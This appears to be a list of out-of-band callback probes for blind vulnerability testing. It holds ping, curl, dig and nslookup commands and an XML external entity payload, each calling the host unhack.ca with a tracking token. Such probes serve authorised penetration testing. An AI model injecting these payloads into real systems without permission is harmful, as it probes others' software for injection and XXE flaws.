$ ping -c1 -p 007dda52ebe41feffad2b07eda349500 unhack.ca
$ curl http://unhack.ca/p/7dda52ebe41feffad2b07eda3495
$ dig 7dda52ebe41feffad2b07eda3495 @unhack.ca
$ dig 7dda52ebe41feffad2b07eda3495.ns.unhack.ca
C:\> nslookup 7dda52ebe41feffad2b07eda3495 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/7dda52ebe41feffad2b07eda3495">]> <foo>&xxe;</foo>